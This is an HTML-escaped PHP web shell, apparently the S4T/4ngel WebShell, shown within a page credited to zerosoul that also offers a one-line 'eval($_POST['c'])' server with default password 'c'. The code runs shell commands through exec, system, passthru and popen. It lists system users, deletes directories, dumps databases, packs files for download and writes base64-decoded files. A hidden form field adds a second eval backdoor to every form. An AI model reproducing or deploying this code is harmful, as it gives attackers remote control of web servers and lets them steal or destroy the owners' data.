		2 =&gt; array('Server Domain',$_SERVER['SERVER_NAME']),
		3 =&gt; array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
		4 =&gt; array('Server OS',PHP_OS),
		5 =&gt; array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
		6 =&gt; array('Server Software',$_SERVER['SERVER_SOFTWARE']),
		7 =&gt; array('Server Web Port',$_SERVER['SERVER_PORT']),
		8 =&gt; array('PHP run mode',strtoupper(php_sapi_name())),
		9 =&gt; array('The file path',__FILE__),

		10 =&gt; array('PHP Version',PHP_VERSION),
		11 =&gt; array('PHPINFO',(IS_PHPINFO ? '&lt;a href="javascript:goaction(\'phpinfo\');"&gt;Yes&lt;/a&gt;' : 'No')),
		12 =&gt; array('Safe Mode',getcfg('safe_mode')),
		13 =&gt; array('Administrator',$adminmail),
		14 =&gt; array('allow_url_fopen',getcfg('allow_url_fopen')),
		15 =&gt; array('enable_dl',getcfg('enable_dl')),
		16 =&gt; array('display_errors',getcfg('display_errors')),
		17 =&gt; array('register_globals',getcfg('register_globals')),
		18 =&gt; array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
		19 =&gt; array('memory_limit',getcfg('memory_limit')),
		20 =&gt; array('post_max_size',getcfg('post_max_size')),
		21 =&gt; array('upload_max_filesize',$upsize),
		22 =&gt; array('max_execution_time',getcfg('max_execution_time').' second(s)'),
		23 =&gt; array('disable_functions',$dis_func),
	);

	if($phpvarname) {
		m($phpvarname .' : '.getcfg($phpvarname));
	}

	formhead(array('title'=&gt;'Server environment'));
	makehide('action','phpenv');
	makeinput(array('title'=&gt;'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=&gt;'phpvarname','value'=&gt;$phpvarname,'newline'=&gt;1));
	formfooter();

	$hp = array(0=&gt; 'Server', 1=&gt; 'PHP');
	for($a=0;$a&lt;2;$a++) {
		p('&lt;h2&gt;'.$hp[$a].' &amp;raquo;&lt;/h2&gt;');
		p('&lt;ul class="info"&gt;');
		if ($a==0) {
			for($i=1;$i&lt;=9;$i++) {
				p('&lt;li&gt;&lt;u&gt;'.$info[$i][0].':&lt;/u&gt;'.$info[$i][1].'&lt;/li&gt;');
			}
		} elseif ($a == 1) {
			for($i=10;$i&lt;=23;$i++) {
				p('&lt;li&gt;&lt;u&gt;'.$info[$i][0].':&lt;/u&gt;'.$info[$i][1].'&lt;/li&gt;');
			}
		}
		p('&lt;/ul&gt;');
	}
}//end phpenv

else {
	m('Undefined Action');
}

?&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;"&gt;
	&lt;span style="float:right;"&gt;&lt;?php debuginfo();ob_end_flush();?&gt;&lt;/span&gt;
	Copyright (C) 2004-2008 &lt;a href="http://www.4ngel.net" target="_blank"&gt;Security Angel Team [S4T]&lt;/a&gt; All Rights Reserved.
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;

&lt;?php

/*======================================================
函数库
======================================================*/

function m($msg) {
	echo '&lt;div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;"&gt;';
	echo $msg;
	echo '&lt;/div&gt;';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
	global $admin, $timestamp, $_SERVER;
	$key = ($prefix ? $admin['cookiepre'] : '').$key;
	$life = $life ? $life : $admin['cookielife'];
	$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
	setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}	
function multi($num, $perpage, $curpage, $tablename) {
	$multipage = '';
	if($num &gt; $perpage) {
		$page = 10;
		$offset = 5;
		$pages = @ceil($num / $perpage);
		if($page &gt; $pages) {
			$from = 1;
			$to = $pages;
		} else {
			$from = $curpage - $offset;
			$to = $curpage + $page - $offset - 1;
			if($from &lt; 1) {
				$to = $curpage + 1 - $from;
				$from = 1;
				if(($to - $from) &lt; $page &amp;&amp; ($to - $from) &lt; $pages) {
					$to = $page;
				}
			} elseif($to &gt; $pages) {
				$from = $curpage - $pages + $to;
				$to = $pages;
				if(($to - $from) &lt; $page &amp;&amp; ($to - $from) &lt; $pages) {
					$from = $pages - $page + 1;
				}
			}
		}
		$multipage = ($curpage - $offset &gt; 1 &amp;&amp; $pages &gt; $page ? '&lt;a href="javascript:settable(\''.$tablename.'\', \'\', 1);"&gt;First&lt;/a&gt; ' : '').($curpage &gt; 1 ? '&lt;a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');"&gt;Prev&lt;/a&gt; ' : '');
		for($i = $from; $i &lt;= $to; $i++) {
			$multipage .= $i == $curpage ? $i.' ' : '&lt;a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');"&gt;['.$i.']&lt;/a&gt; ';
		}
		$multipage .= ($curpage &lt; $pages ? '&lt;a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');"&gt;Next&lt;/a&gt;' : '').($to &lt; $pages ? ' &lt;a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');"&gt;Last&lt;/a&gt;' : '');
		$multipage = $multipage ? '&lt;p&gt;Pages: '.$multipage.'&lt;/p&gt;' : '';
	}
	return $multipage;
}

function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
		} elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		} elseif(function_exists('system')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists('passthru')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
			$res = '';
			while(!@feof($f)) {
				$res .= @fread($f,1024); 
			}
			@pclose($f);
		}
	}
	return $res;
}
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr); 
}

function cf($fname,$text){
	if($fp=@fopen($fname,'w')) {
		@fputs($fp,@base64_decode($text));
		@fclose($fp);
	}
}

// 页面调试信息
function debuginfo() {
	global $starttime;
	$mtime = explode(' ', microtime());
	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
	echo 'Processed in '.$totaltime.' second(s)';
}

//连接数据库
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
	if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
		p('&lt;h2&gt;Can not connect to MySQL server&lt;/h2&gt;');
		exit;
	}
	if($link &amp;&amp; $dbname) {
		if (!@mysql_select_db($dbname, $link)) {
			p('&lt;h2&gt;Database selected has error&lt;/h2&gt;');
			exit;
		}
	}
	if($link &amp;&amp; mysql_get_server_info() &gt; '4.1') {
		if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
		}
	}
	return $link;
}

// 去掉转义字符
function s_array(&amp;$array) {
	if (is_array($array)) {
		foreach ($array as $k =&gt; $v) {
			$array[$k] = s_array($v);
		}
	} else if (is_string($array)) {
		$array = stripslashes($array);
	}
	return $array;
}

// 清除HTML代码
function html_clean($content) {
	$content = htmlspecialchars($content);
	$content = str_replace("\n", "&lt;br /&gt;", $content);
	$content = str_replace("  ", "&amp;nbsp;&amp;nbsp;", $content);
	$content = str_replace("\t", "&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;", $content);
	return $content;
}

// 获取权限
function getChmod($filepath){
	return substr(base_convert(@fileperms($filepath),10,8),-4);
}

function getPerms($filepath) {
	$mode = @fileperms($filepath);
	if (($mode &amp; 0xC000) === 0xC000) {$type = 's';}
	elseif (($mode &amp; 0x4000) === 0x4000) {$type = 'd';}
	elseif (($mode &amp; 0xA000) === 0xA000) {$type = 'l';}
	elseif (($mode &amp; 0x8000) === 0x8000) {$type = '-';} 
	elseif (($mode &amp; 0x6000) === 0x6000) {$type = 'b';}
	elseif (($mode &amp; 0x2000) === 0x2000) {$type = 'c';}
	elseif (($mode &amp; 0x1000) === 0x1000) {$type = 'p';}
	else {$type = '?';}

	$owner['read'] = ($mode &amp; 00400) ? 'r' : '-'; 
	$owner['write'] = ($mode &amp; 00200) ? 'w' : '-'; 
	$owner['execute'] = ($mode &amp; 00100) ? 'x' : '-'; 
	$group['read'] = ($mode &amp; 00040) ? 'r' : '-'; 
	$group['write'] = ($mode &amp; 00020) ? 'w' : '-'; 
	$group['execute'] = ($mode &amp; 00010) ? 'x' : '-'; 
	$world['read'] = ($mode &amp; 00004) ? 'r' : '-'; 
	$world['write'] = ($mode &amp; 00002) ? 'w' : '-'; 
	$world['execute'] = ($mode &amp; 00001) ? 'x' : '-'; 

	if( $mode &amp; 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
	if( $mode &amp; 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
	if( $mode &amp; 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
 
	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}

function getUser($filepath)	{
	if (function_exists('posix_getpwuid')) {
		$array = @posix_getpwuid(@fileowner($filepath));
		if ($array &amp;&amp; is_array($array)) {
			return ' / &lt;a href="#" title="User: '.$array['name'].'&amp;#13&amp;#10Passwd: '.$array['passwd'].'&amp;#13&amp;#10Uid: '.$array['uid'].'&amp;#13&amp;#10gid: '.$array['gid'].'&amp;#13&amp;#10Gecos: '.$array['gecos'].'&amp;#13&amp;#10Dir: '.$array['dir'].'&amp;#13&amp;#10Shell: '.$array['shell'].'"&gt;'.$array['name'].'&lt;/a&gt;';
		}
	}
	return '';
}

// 删除目录
function deltree($deldir) {
	$mydir=@dir($deldir);	
	while($file=$mydir-&gt;read())	{ 		
		if((is_dir($deldir.'/'.$file)) &amp;&amp; ($file!='.') &amp;&amp; ($file!='..')) { 
			@chmod($deldir.'/'.$file,0777);
			deltree($deldir.'/'.$file); 
		}
		if (is_file($deldir.'/'.$file)) {
			@chmod($deldir.'/'.$file,0777);
			@unlink($deldir.'/'.$file);
		}
	} 
	$mydir-&gt;close(); 
	@chmod($deldir,0777);
	return @rmdir($deldir) ? 1 : 0;
}

// 表格行间的背景色替换
function bg() {
	global $bgc;
	return ($bgc++%2==0) ? 'alt1' : 'alt2';
}

// 获取当前的文件系统路径
function getPath($scriptpath, $nowpath) {
	if ($nowpath == '.') {
		$nowpath = $scriptpath;
	}
	$nowpath = str_replace('\\', '/', $nowpath);
	$nowpath = str_replace('//', '/', $nowpath);
	if (substr($nowpath, -1) != '/') {
		$nowpath = $nowpath.'/';
	}
	return $nowpath;
}

// 获取当前目录的上级目录
function getUpPath($nowpath) {
	$pathdb = explode('/', $nowpath);
	$num = count($pathdb);
	if ($num &gt; 2) {
		unset($pathdb[$num-1],$pathdb[$num-2]);
	}
	$uppath = implode('/', $pathdb).'/';
	$uppath = str_replace('//', '/', $uppath);
	return $uppath;
}

// 检查PHP配置参数
function getcfg($varname) {
	$result = get_cfg_var($varname);
	if ($result == 0) {
		return 'No';
	} elseif ($result == 1) {
		return 'Yes';
	} else {
		return $result;
	}
}

// 检查函数情况
function getfun($funName) {
	return (false !== function_exists($funName)) ? 'Yes' : 'No';
}

function GetList($dir){
	global $dirdata,$j,$nowpath;
	!$j &amp;&amp; $j=1;
	if ($dh = opendir($dir)) {
		while ($file = readdir($dh)) {
			$f=str_replace('//','/',$dir.'/'.$file);
			if($file!='.' &amp;&amp; $file!='..' &amp;&amp; is_dir($f)){
				if (is_writable($f)) {
					$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
					$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
					$dirdata[$j]['dirchmod']=getChmod($f);
					$dirdata[$j]['dirperm']=getPerms($f);
					$dirdata[$j]['dirlink']=ue($dir);
					$dirdata[$j]['server_link']=$f;
					$dirdata[$j]['client_link']=ue($f);
					$j++;
				}
				GetList($f);
			}
		}
		closedir($dh);
		clearstatcache();
		return $dirdata;
	} else {
		return array();
	}
}

function qy($sql) { 
	//echo $sql.'&lt;br&gt;';
	$res = $error = '';
	if(!$res = @mysql_query($sql)) { 
		return 0;
	} else if(is_resource($res)) {
		return 1; 
	} else {
		return 2;
	}	
	return 0;
}

function q($sql) { 
	return @mysql_query($sql);
}

function fr($qy){
	mysql_free_result($qy);
}

function sizecount($size) {
	if($size &gt; 1073741824) {
		$size = round($size / 1073741824 * 100) / 100 . ' G';
	} elseif($size &gt; 1048576) {
		$size = round($size / 1048576 * 100) / 100 . ' M';
	} elseif($size &gt; 1024) {
		$size = round($size / 1024 * 100) / 100 . ' K';
	} else {
		$size = $size . ' B';
	}
	return $size;
}

// 压缩打包类
class PHPZip{
	var $out='';
	function PHPZip($dir)	{
		if (@function_exists('gzcompress'))	{
			$curdir = getcwd();
			if (is_array($dir)) $filelist = $dir;
			else{
				$filelist=$this -&gt; GetFileList($dir);//文件列表
				foreach($filelist as $k=&gt;$v) $filelist[]=substr($v,strlen($dir)+1);
			}
			if ((!empty($dir))&amp;&amp;(!is_array($dir))&amp;&amp;(file_exists($dir))) chdir($dir);
			else chdir($curdir);
			if (count($filelist)&gt;0){
				foreach($filelist as $filename){
					if (is_file($filename)){
						$fd = fopen ($filename, 'r');
						$content = @fread ($fd, filesize($filename));
						fclose ($fd);
						if (is_array($dir)) $filename = basename($filename);
						$this -&gt; addFile($content, $filename);
					}
				}
				$this-&gt;out = $this -&gt; file();
				chdir($curdir);
			}
			return 1;
		}
		else return 0;
	}

	// 获得指定目录文件列表
	function GetFileList($dir){
		static $a;
		if (is_dir($dir)) {
			if ($dh = opendir($dir)) {
				while ($file = readdir($dh)) {
					if($file!='.' &amp;&amp; $file!='..'){
						$f=$dir .'/'. $file;
						if(is_dir($f)) $this-&gt;GetFileList($f);
						$a[]=$f;
					}
				}
				closedir($dh);
			}
		}
		return $a;
	}

	var $datasec      = array();
	var $ctrl_dir     = array();
	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
	var $old_offset   = 0;

	function unix2DosTime($unixtime = 0) {
		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
		if ($timearray['year'] &lt; 1980) {
			$timearray['year']    = 1980;
			$timearray['mon']     = 1;
			$timearray['mday']    = 1;
			$timearray['hours']   = 0;
			$timearray['minutes'] = 0;
			$timearray['seconds'] = 0;
		} // end if
		return (($timearray['year'] - 1980) &lt;&lt; 25) | ($timearray['mon'] &lt;&lt; 21) | ($timearray['mday'] &lt;&lt; 16) |
				($timearray['hours'] &lt;&lt; 11) | ($timearray['minutes'] &lt;&lt; 5) | ($timearray['seconds'] &gt;&gt; 1);
	}

	function addFile($data, $name, $time = 0) {
		$name = str_replace('\\', '/', $name);

		$dtime = dechex($this-&gt;unix2DosTime($time));
		$hexdtime	= '\x' . $dtime[6] . $dtime[7]
					. '\x' . $dtime[4] . $dtime[5]
					. '\x' . $dtime[2] . $dtime[3]
					. '\x' . $dtime[0] . $dtime[1];
		eval('$hexdtime = "' . $hexdtime . '";');
		$fr	= "\x50\x4b\x03\x04";
		$fr	.= "\x14\x00";
		$fr	.= "\x00\x00";
		$fr	.= "\x08\x00";
		$fr	.= $hexdtime;

		$unc_len = strlen($data);
		$crc = crc32($data);
		$zdata = gzcompress($data);
		$c_len = strlen($zdata);
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);
		$fr .= pack('v', strlen($name));
		$fr .= pack('v', 0);
		$fr .= $name;
		$fr .= $zdata;
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);

		$this -&gt; datasec[] = $fr;
		$new_offset = strlen(implode('', $this-&gt;datasec));

		$cdrec = "\x50\x4b\x01\x02";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x14\x00";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x08\x00";
		$cdrec .= $hexdtime;
		$cdrec .= pack('V', $crc);
		$cdrec .= pack('V', $c_len);
		$cdrec .= pack('V', $unc_len);
		$cdrec .= pack('v', strlen($name) );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('V', 32 );
		$cdrec .= pack('V', $this -&gt; old_offset );
		$this -&gt; old_offset = $new_offset;
		$cdrec .= $name;

		$this -&gt; ctrl_dir[] = $cdrec;
	}

	function file() {
		$data    = implode('', $this -&gt; datasec);
		$ctrldir = implode('', $this -&gt; ctrl_dir);
		return $data . $ctrldir . $this -&gt; eof_ctrl_dir . pack('v', sizeof($this -&gt; ctrl_dir)) . pack('v', sizeof($this -&gt; ctrl_dir)) .	pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
	}
}

// 备份数据库
function sqldumptable($table, $fp=0) {
	$tabledump = "DROP TABLE IF EXISTS $table;\n";
	$tabledump .= "CREATE TABLE $table (\n";

	$firstfield=1;

	$fields = q("SHOW FIELDS FROM $table");
	while ($field = mysql_fetch_array($fields)) {
		if (!$firstfield) {
			$tabledump .= ",\n";
		} else {
			$firstfield=0;
		}
		$tabledump .= "   $field[Field] $field[Type]";
		if (!empty($field["Default"])) {
			$tabledump .= " DEFAULT '$field[Default]'";
		}
		if ($field['Null'] != "YES") {
			$tabledump .= " NOT NULL";
		}
		if ($field['Extra'] != "") {
			$tabledump .= " $field[Extra]";
		}
	}
	fr($fields);

	$keys = q("SHOW KEYS FROM $table");
	while ($key = mysql_fetch_array($keys)) {
		$kname=$key['Key_name'];
		if ($kname != "PRIMARY" &amp;&amp; $key['Non_unique'] == 0) {
			$kname="UNIQUE|$kname";
		}
		if(!is_array($index[$kname])) {
			$index[$kname] = array();
		}
		$index[$kname][] = $key['Column_name'];
	}
	fr($keys);

	while(list($kname, $columns) = @each($index)) {
		$tabledump .= ",\n";
		$colnames=implode($columns,",");

		if ($kname == "PRIMARY") {
			$tabledump .= "   PRIMARY KEY ($colnames)";
		} else {
			if (substr($kname,0,6) == "UNIQUE") {
				$kname=substr($kname,7);
			}
			$tabledump .= "   KEY $kname ($colnames)";
		}
	}

	$tabledump .= "\n);\n\n";
	if ($fp) {
		fwrite($fp,$tabledump);
	} else {
		echo $tabledump;
	}

	$rows = q("SELECT * FROM $table");
	$numfields = mysql_num_fields($rows);
	while ($row = mysql_fetch_array($rows)) {
		$tabledump = "INSERT INTO $table VALUES(";

		$fieldcounter=-1;
		$firstfield=1;
		while (++$fieldcounter&lt;$numfields) {
			if (!$firstfield) {
				$tabledump.=", ";
			} else {
				$firstfield=0;
			}

			if (!isset($row[$fieldcounter])) {
				$tabledump .= "NULL";
			} else {
				$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
			}
		}

		$tabledump .= ");\n";

		if ($fp) {
			fwrite($fp,$tabledump);
		} else {
			echo $tabledump;
		}
	}
	fr($rows);
	if ($fp) {
		fwrite($fp,"\n");
	} else {
		echo "\n";
	}
}

function ue($str){
	return urlencode($str);
}

function p($str){
	echo $str."\n";
}

function tbhead() {
	p('&lt;table width="100%" border="0" cellpadding="4" cellspacing="0"&gt;');
}
function tbfoot(){
	p('&lt;/table&gt;');
}

function makehide($name,$value=''){
	p("&lt;input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" /&gt;");
}

function makeinput($arg = array()){
	$arg['size'] = $arg['size'] &gt; 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
	$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
	!$arg['type'] &amp;&amp; $arg['type'] = 'text';
	$arg['title'] = $arg['title'] ? $arg['title'].'&lt;br /&gt;' : '';
	$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
	if ($arg['newline']) {
		p("&lt;p&gt;$arg[title]&lt;input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /&gt;&lt;/p&gt;");
	} else {
		p("$arg[title]&lt;input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /&gt;");
	}
}

function makeselect($arg = array()){
	if ($arg['onchange']) {
		$onchange = 'onchange="'.$arg['onchange'].'"';
	}
	$arg['title'] = $arg['title'] ? $arg['title'] : '';
	if ($arg['newline']) p('&lt;p&gt;');
	p("$arg[title] &lt;select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange&gt;");
		if (is_array($arg['option'])) {
			foreach ($arg['option'] as $key=&gt;$value) {
				if ($arg['selected']==$key) {
					p("&lt;option value=\"$key\" selected&gt;$value&lt;/option&gt;");
				} else {
					p("&lt;option value=\"$key\"&gt;$value&lt;/option&gt;");
				}
			}
		}
	p("&lt;/select&gt;");
	if ($arg['newline']) p('&lt;/p&gt;');
}
function formhead($arg = array()) {
	!$arg['method'] &amp;&amp; $arg['method'] = 'post';
	!$arg['action'] &amp;&amp; $arg['action'] = $self;
	$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
	!$arg['name'] &amp;&amp; $arg['name'] = 'form1';
	p("&lt;form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]&gt;");
	p("&lt;input type=hidden name=c value=session_start();eval(\$_SESSION[chr(99)]);&gt;");
	if ($arg['title']) {
		p('&lt;h2&gt;'.$arg['title'].' &amp;raquo;&lt;/h2&gt;');
	}
}
	
function maketext($arg = array()){
	!$arg['cols'] &amp;&amp; $arg['cols'] = 100;
	!$arg['rows'] &amp;&amp; $arg['rows'] = 25;
	$arg['title'] = $arg['title'] ? $arg['title'].'&lt;br /&gt;' : '';
	p("&lt;p&gt;$arg[title]&lt;textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]&gt;$arg[value]&lt;/textarea&gt;&lt;/p&gt;");
}

function formfooter($name = ''){
	!$name &amp;&amp; $name = 'submit';
	p('&lt;p&gt;&lt;input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"&gt;&lt;/p&gt;');
	p('&lt;/form&gt;');
}

function formfoot(){
	p('&lt;/form&gt;');
}

// 调试函数
function pr($a) {
	echo '&lt;pre&gt;';
	print_r($a);
	echo '&lt;/pre&gt;';
}

</textarea></td></tr><tr><td align="center" class="td">&nbsp;服务端 : &lt;?php eval($_POST['c'])?&gt; &nbsp;&nbsp;&nbsp;默认密码 : c</td>
</tr>
<tr><td class="trHead">&nbsp;</td></tr><tr> 
<td height="22" align="center" class="td"><a href="http://hi.baidu.com/0soul" title="Blog:
http://hi.baidu.com/0soul">Powered By zerosoul(零魂)</a> &nbsp;
  </td></tr>
<tr><td height="22" align="center" class="td">2009.10.18&nbsp;
  </td>
</tr>
</form>
</table>
</body>
</html>